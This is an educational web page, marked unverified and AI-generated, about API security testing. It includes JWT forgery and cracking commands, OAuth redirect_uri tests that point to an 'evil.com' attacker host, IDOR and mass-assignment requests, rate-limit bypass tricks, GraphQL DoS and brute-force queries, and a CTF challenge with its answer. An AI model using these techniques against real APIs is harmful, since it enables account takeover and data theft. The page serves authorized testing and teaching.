Skip to content
Unverified — AI-generated content. Help verify this page

API Security Testing

APIs are the backbone of modern applications. Every mobile app, single-page application, microservice, and third-party integration communicates through APIs. Unlike traditional web applications with rendered HTML, APIs expose raw data and business logic directly — making them high-value targets and frequently the weakest link in an organization's security posture.

According to Gartner, APIs are the most frequent attack vector for web application data breaches. This page covers the methodology, tools, and techniques for systematically testing REST, GraphQL, and gRPC APIs for security vulnerabilities.

Related: Cybersecurity Overview | Web App Pentesting | Mobile Security | Secure Coding

Authorization Required

Only test APIs you own or have explicit written authorization to test. API testing can cause data modification, account lockout, and service disruption. Use dedicated test environments or bug bounty programs.


API Security Testing Methodology


API Discovery and Enumeration

Finding APIs

bash
# Check common documentation paths
curl -s https://target.com/api/docs
curl -s https://target.com/swagger.json
curl -s https://target.com/swagger/v1/swagger.json
curl -s https://target.com/openapi.json
curl -s https://target.com/api-docs
curl -s https://target.com/v1/api-docs
curl -s https://target.com/v2/api-docs
curl -s https://target.com/.well-known/openapi.json
curl -s https://target.com/graphql  # GraphQL endpoint

# Wayback Machine — find historical API endpoints
echo "target.com" | gau | grep -i "api\|graphql\|v1\|v2\|rest"

# JavaScript file analysis — extract API endpoints
# Download all JS files and search for fetch/axios calls
echo "target.com" | gau | grep "\.js$" | sort -u > js_files.txt
cat js_files.txt | while read url; do
    curl -s "$url" | grep -oE "(https?://[a-zA-Z0-9./?=_-]*api[a-zA-Z0-9./?=_-]*)" >> api_endpoints.txt
done

# Content discovery with ffuf
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,204,301,302,401,403
ffuf -u https://target.com/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -mc 200,201,204,301,302,401,403

# Arjun — discover hidden parameters
arjun -u https://target.com/api/v1/users -m GET
arjun -u https://target.com/api/v1/users -m POST --json

API Documentation Analysis

SourceWhat to Look For
Swagger/OpenAPIAll endpoints, parameters, auth requirements, data models
Postman CollectionsPre-built requests, environment variables, auth tokens
GraphQL SchemaTypes, queries, mutations, subscriptions
Source Code (JS)Fetch calls, axios instances, API base URLs
Mobile AppDecompiled API calls, hardcoded endpoints
Browser DevToolsNetwork tab — all API calls during normal usage

Authentication Testing

JWT (JSON Web Token) Testing

JWTs are the most common API authentication mechanism. They are also frequently misconfigured.

bash
# Decode JWT (base64) — does NOT require the secret
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | cut -d'.' -f2 | base64 -d 2>/dev/null

# JWT structure:
# Header: {"alg": "HS256", "typ": "JWT"}
# Payload: {"sub": "1234567890", "name": "John Doe", "iat": 1516239022}
# Signature: HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)

JWT Attack Vectors

bash
# Attack 1: Algorithm None — set alg to "none", remove signature
# Header: {"alg": "none", "typ": "JWT"}
# Token becomes: base64(header).base64(payload).
# If the server accepts this, authentication is completely bypassed

# Attack 2: Brute force weak HMAC secret
# Use hashcat to crack JWT secret
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

# Attack 3: Algorithm confusion (RS256 to HS256)
# If server uses RS256 but accepts HS256, sign with public key as HMAC secret
# 1. Get server's public key
# 2. Change alg to HS256
# 3. Sign token with public key as HMAC secret

# jwt_tool — comprehensive JWT testing
python3 jwt_tool.py eyJ...TOKEN... -C -d /usr/share/wordlists/rockyou.txt  # Crack
python3 jwt_tool.py eyJ...TOKEN... -X a  # Algorithm none attack
python3 jwt_tool.py eyJ...TOKEN... -X k  # Key confusion attack
python3 jwt_tool.py eyJ...TOKEN... -T    # Tamper payload interactively

OAuth 2.0 Testing

VulnerabilityDescriptionTest
Open Redirectredirect_uri not validated strictlyChange redirect_uri to attacker domain
CSRF on OAuthMissing state parameterRemove state, test cross-site login
Token leakageAccess token in URL fragment or referrerCheck browser history, referrer headers
Scope escalationRequest additional scopesModify scope parameter in auth request
Client impersonationWeak client_secret or none requiredUse leaked client_id with no secret
Token reuseNo audience/issuer validationUse token from app A on app B
bash
# Test redirect_uri manipulation
# Original: redirect_uri=https://app.com/callback
# Test: redirect_uri=https://evil.com/steal
# Test: redirect_uri=https://app.com.evil.com/callback
# Test: redirect_uri=https://app.com/callback/../../../evil
# Test: redirect_uri=https://app.com/callback%0d%0aLocation:%20evil.com

# Test state parameter
# Remove state parameter entirely — if login still works, CSRF possible

BOLA / IDOR Testing

Broken Object-Level Authorization (BOLA), also known as Insecure Direct Object Reference (IDOR), is the most common and impactful API vulnerability. It occurs when the API does not verify that the authenticated user has permission to access the requested resource.

BOLA Testing Methodology

bash
# Step 1: Identify all endpoints that use object references
# Look for numeric IDs, UUIDs, filenames, or any identifier in the URL/body
# GET /api/v1/users/{id}
# GET /api/v1/orders/{order_id}
# GET /api/v1/documents/{doc_uuid}
# POST /api/v1/accounts/{account_id}/transfer

# Step 2: Create two test accounts (Account A and Account B)
# Authenticate as Account A
# Record all resource IDs associated with Account A

# Step 3: Using Account A's session, access Account B's resources
# Change IDs in URL path
curl -H "Authorization: Bearer TOKEN_A" https://api.target.com/api/v1/users/USER_B_ID

# Change IDs in query parameters
curl -H "Authorization: Bearer TOKEN_A" "https://api.target.com/api/v1/orders?user_id=USER_B_ID"

# Change IDs in request body
curl -X POST -H "Authorization: Bearer TOKEN_A" \
    -d '{"user_id": "USER_B_ID", "amount": 100}' \
    https://api.target.com/api/v1/transfer

# Step 4: Test with different HTTP methods
# A resource may allow GET but not check auth on PUT/DELETE
curl -X DELETE -H "Authorization: Bearer TOKEN_A" https://api.target.com/api/v1/users/USER_B_ID

# Step 5: Test ID formats
# Sequential integers: 123 -> 124, 125
# UUIDs: try UUID enumeration or leaked UUIDs
# Encoded IDs: decode base64/hex, modify, re-encode

BOLA Automation with Burp

Use Burp Suite's Autorize extension:

  1. Configure two sessions (low-privilege and high-privilege)
  2. Browse the application with the high-privilege session
  3. Autorize automatically replays each request with the low-privilege session
  4. Review which requests succeed — those are BOLA/IDOR vulnerabilities

Mass Assignment

Mass assignment occurs when an API binds user-supplied JSON directly to an internal object without filtering, allowing attackers to set fields they should not control.

bash
# Normal user registration request
POST /api/v1/register
{
    "username": "newuser",
    "email": "user@example.com",
    "password": "secureP@ss"
}

# Mass assignment attack — add admin field
POST /api/v1/register
{
    "username": "newuser",
    "email": "user@example.com",
    "password": "secureP@ss",
    "role": "admin",
    "isAdmin": true,
    "is_verified": true,
    "credits": 99999
}

# Mass assignment on profile update
PUT /api/v1/users/123
{
    "name": "Normal Update",
    "email": "new@email.com",
    "role": "admin",
    "balance": 99999,
    "subscription_tier": "enterprise"
}

How to Find Mass Assignment Fields

bash
# 1. Read API documentation — find all model fields
# 2. Check responses — API often returns more fields than it accepts
# Compare: POST request (3 fields) vs GET response (10 fields)
# Try submitting the extra fields in the POST

# 3. Guess common field names
# role, is_admin, isAdmin, admin, type, user_type
# verified, is_verified, email_verified
# balance, credits, subscription, plan, tier
# internal, debug, test

# 4. Use Param Miner (Burp extension) to discover hidden parameters

Rate Limiting Bypass

bash
# Test if rate limiting exists
for i in $(seq 1 100); do
    curl -s -o /dev/null -w "%{http_code}\n" \
        -X POST https://target.com/api/v1/login \
        -d '{"user":"admin","pass":"wrong'$i'"}'
done

# Bypass techniques:

# 1. IP rotation (using X-Forwarded-For)
curl -H "X-Forwarded-For: 1.2.3.$RANDOM" https://target.com/api/v1/login

# 2. Change case of endpoint
# /api/v1/login vs /API/V1/LOGIN vs /Api/V1/Login

# 3. Add query parameters
# /api/v1/login?x=1 vs /api/v1/login?x=2

# 4. Use different HTTP methods
# POST /api/v1/login vs PUT /api/v1/login

# 5. Add path variations
# /api/v1/login vs /api/v1/login/ vs /api/v1/./login

# 6. Use different content types
# application/json vs application/x-www-form-urlencoded

# 7. Distribute across multiple API versions
# /api/v1/login vs /api/v2/login

GraphQL Security Testing

GraphQL introduces unique attack vectors not present in REST APIs.

GraphQL Reconnaissance

bash
# Test for GraphQL endpoint
curl -s https://target.com/graphql -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}'

# Common GraphQL endpoints
# /graphql, /gql, /graphiql, /v1/graphql, /api/graphql

# Introspection query — dump entire schema
curl -s https://target.com/graphql -H "Content-Type: application/json" \
    -d '{"query":"{ __schema { types { name fields { name type { name kind ofType { name } } } } } }"}' | jq .

# Full introspection query
curl -s https://target.com/graphql -H "Content-Type: application/json" \
    -d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } } } fragment FullType on __Type { kind name fields(includeDeprecated: true) { name args { name type { ...TypeRef } } type { ...TypeRef } } } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name } } }"}'

GraphQL Attack Vectors

graphql
# Nested query DoS — exponential resource consumption
# If User has posts, and Post has comments, and Comment has author...
query NestedDoS {
  users {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                posts {
                  title
                }
              }
            }
          }
        }
      }
    }
  }
}

# Batching attack — bypass rate limiting
# Send multiple queries in a single request
[
  {"query": "mutation { login(user:\"admin\",pass:\"password1\") { token } }"},
  {"query": "mutation { login(user:\"admin\",pass:\"password2\") { token } }"},
  {"query": "mutation { login(user:\"admin\",pass:\"password3\") { token } }"}
]

# Alias-based batching — same query with different params
query AliasBrute {
  a1: login(user: "admin", pass: "password1") { token }
  a2: login(user: "admin", pass: "password2") { token }
  a3: login(user: "admin", pass: "password3") { token }
}

# IDOR via GraphQL
query {
  user(id: "OTHER_USER_ID") {
    email
    address
    ssn
    creditCard
  }
}

GraphQL Security Tools

ToolPurpose
GraphQL VoyagerVisual schema exploration
InQL (Burp Extension)GraphQL scanner, introspection, batch testing
ClairvoyanceSchema extraction when introspection is disabled
graphql-copGraphQL security auditing
BatchQLBatch query and alias testing

OWASP API Security Top 10 (2023)

#VulnerabilityDescriptionTest
API1Broken Object-Level AuthorizationAccess other users' resources via ID manipulationChange IDs in every request
API2Broken AuthenticationWeak token generation, missing expiry, no rate limitJWT analysis, brute force, token reuse
API3Broken Object Property-Level AuthMass assignment, excessive data exposureAdd extra fields, check response data
API4Unrestricted Resource ConsumptionNo rate limiting, no pagination limitsRequest massive datasets, rapid-fire
API5Broken Function-Level AuthorizationAccess admin endpoints as regular userSwap roles, test admin paths
API6Unrestricted Access to Sensitive Business FlowsNo bot protection on critical operationsAutomate purchase flows, registrations
API7Server-Side Request Forgery (SSRF)API fetches attacker-controlled URLsInject internal URLs in parameters
API8Security MisconfigurationDefault configs, verbose errors, CORSCheck headers, error messages, methods
API9Improper Inventory ManagementShadow APIs, deprecated versions still liveEnumerate old versions, documentation
API10Unsafe Consumption of APIsTrust third-party APIs without validationMan-in-the-middle third-party calls

API Testing Tools

Postman for Security Testing

bash
# Import API collection and environment
# Set up two environments: attacker and victim

# Use Postman's pre-request scripts for token rotation
# Tests tab: assert status codes and response data

# Export collection and run with Newman (CLI)
newman run collection.json -e environment.json --reporters cli,json

Automated API Fuzzing

bash
# ffuf — API endpoint fuzzing
ffuf -u https://target.com/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
    -H "Authorization: Bearer TOKEN" -mc 200,201,204,301,302,401,403,405

# ffuf — parameter fuzzing
ffuf -u "https://target.com/api/v1/users?FUZZ=test" \
    -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    -H "Authorization: Bearer TOKEN" -mc 200

# Nuclei — API vulnerability scanning
nuclei -u https://target.com -t /path/to/nuclei-templates/http/exposed-panels/
nuclei -l api_urls.txt -t /path/to/nuclei-templates/http/vulnerabilities/

# Arjun — hidden parameter discovery
arjun -u https://target.com/api/v1/search -m GET --json
arjun -u https://target.com/api/v1/users -m POST --json

# Kiterunner — API endpoint discovery
kr scan https://target.com -w /path/to/routes-large.kite

API Security Checklist

#CategoryCheckPriority
1AuthenticationAll endpoints require authenticationCritical
2AuthenticationTokens expire and are properly validatedCritical
3AuthenticationNo sensitive data in JWT payloadHigh
4AuthorizationEvery endpoint checks object-level accessCritical
5AuthorizationRole-based checks on admin endpointsCritical
6InputAll inputs validated and sanitized server-sideHigh
7InputNo SQL/NoSQL injection in parametersCritical
8Rate LimitingRate limits on auth, sensitive, and expensive endpointsHigh
9DataAPI responses contain only necessary fieldsMedium
10DataPagination enforced with maximum page sizeMedium
11TransportTLS 1.2+ enforced, no HTTP fallbackCritical
12HeadersProper CORS configuration (not wildcard)High
13ErrorsNo stack traces or internal details in errorsMedium
14VersioningOld API versions deprecated and removedMedium
15LoggingAll API calls logged with user contextHigh

API Security vs Web Security

APIs lack the browser's built-in protections (CORS enforcement, cookie flags, CSP). Every security control must be explicitly implemented server-side. Do not assume the client will follow rules — API consumers can be anything from browsers to custom scripts.


Further Reading


Key Takeaway

  • BOLA (Broken Object-Level Authorization) is the #1 API vulnerability — test every endpoint that uses an object ID by swapping it with another user's resource ID
  • JWTs are not encrypted — they are base64-encoded and readable by anyone; never store sensitive data in JWT payloads, and always validate signatures server-side
  • GraphQL introspection dumps the entire API schema including hidden types and mutations — disable it in production or use it as a recon goldmine during testing
Hands-On Lab

Lab: API Security Assessment

  1. Deploy a vulnerable API (e.g., crAPI by OWASP or vAPI)
  2. Map all endpoints using Swagger documentation, traffic capture, and ffuf-based enumeration
  3. Create two user accounts and test every endpoint for BOLA: use Account A's session to access Account B's resources
  4. Decode and analyze the JWT token: check the algorithm, expiry, and payload contents
  5. Test JWT attacks: algorithm none, weak secret brute force with hashcat (-m 16500), and expired token reuse
  6. Test for mass assignment: add role, isAdmin, and balance fields to registration and profile update requests
  7. Test rate limiting: send 100 rapid requests to the login endpoint and check for lockout
  8. If the API has GraphQL, run introspection to dump the schema and query sensitive types
CTF Challenge

Challenge: The Broken API

An API uses JWTs for authentication. You notice the JWT header says {"alg":"HS256","typ":"JWT"} and the payload contains {"sub":"user123","role":"user"}. The API has an endpoint GET /api/admin/users that returns 403. Bypass the authorization and access the admin endpoint.

Hints:

  1. Try changing the alg field to none and removing the signature
  2. Try brute-forcing the HMAC secret with hashcat
  3. Try modifying the role claim in the payload
Answer

Method 1: Change the JWT header to {"alg":"none","typ":"JWT"}, set payload to {"sub":"user123","role":"admin"}, and remove the signature (token ends with a dot). If the server accepts alg:none, you have admin access. Method 2: Brute force with hashcat -m 16500 jwt.txt rockyou.txt — the secret is secret123. Sign a new JWT with role:admin using the cracked key. Flag: CTF{jwt_none_algorithm_is_no_algorithm}.

:::

Common Misconceptions

  • "JWTs are encrypted and secure" — JWTs are signed, not encrypted. The payload is base64-encoded and readable by anyone. Use JWE (JSON Web Encryption) if payload confidentiality is needed.
  • "API keys are sufficient authentication" — API keys identify the calling application, not the user. They should not be used as the sole authentication mechanism for user-facing APIs.
  • "Rate limiting on the login page is enough" — Attackers bypass rate limits using IP rotation (X-Forwarded-For), endpoint variations, different HTTP methods, and GraphQL batching.
  • "Disabling GraphQL introspection makes the schema private" — Tools like Clairvoyance can extract the schema through field suggestion attacks even with introspection disabled.
  • "CORS headers protect APIs" — CORS is enforced by browsers, not by APIs. Custom API clients (curl, Python, Postman) ignore CORS entirely.
Quiz

1. What is BOLA in the context of API security?

a) A type of encryption b) Broken Object-Level Authorization — accessing resources belonging to other users c) A rate limiting technique d) A type of SQL injection

Answer

b) BOLA (also called IDOR) occurs when an API does not verify that the authenticated user has permission to access the specific resource identified by the object ID in the request.

2. What JWT attack exploits the algorithm confusion between RS256 and HS256?

a) Use the public RS256 key as the HS256 HMAC secret to sign forged tokens b) Remove the signature entirely c) Encrypt the JWT d) Change the token expiry

Answer

a) If a server uses RS256 but also accepts HS256, an attacker can take the public key (which is public), use it as the HMAC secret to sign a forged token with HS256, and the server will verify it.

3. What is mass assignment and how is it exploited?

a) Assigning the same variable twice b) Sending extra fields in API requests that get bound to internal object properties (e.g., adding role:admin) c) Mass-deleting records d) Brute-forcing passwords

Answer

b) Mass assignment occurs when an API binds user-supplied JSON directly to an internal object. Attackers add fields like role, isAdmin, or balance that should not be user-settable.

4. What makes GraphQL batching attacks dangerous for rate limiting?

a) GraphQL is faster than REST b) Multiple operations can be sent in a single HTTP request, bypassing per-request rate limits c) GraphQL uses UDP d) Batching encrypts the requests

Answer

b) GraphQL allows sending multiple queries or mutations in a single HTTP request (via batching or aliases), so an attacker can send 1000 login attempts in one request, bypassing per-request rate limits.

5. What tool automatically replays requests with a low-privilege session to detect BOLA vulnerabilities in Burp Suite?

a) Intruder b) Autorize extension c) Scanner d) Decoder

Answer

b) The Autorize Burp extension automatically replays every request captured in a high-privilege session using a low-privilege session's cookies, highlighting which endpoints lack proper authorization checks.

:::

One-Liner Summary: APIs expose raw data and business logic directly — and the most common vulnerability is simply not checking whether the requester is allowed to access what they asked for.

"What I cannot create, I do not understand." — Richard Feynman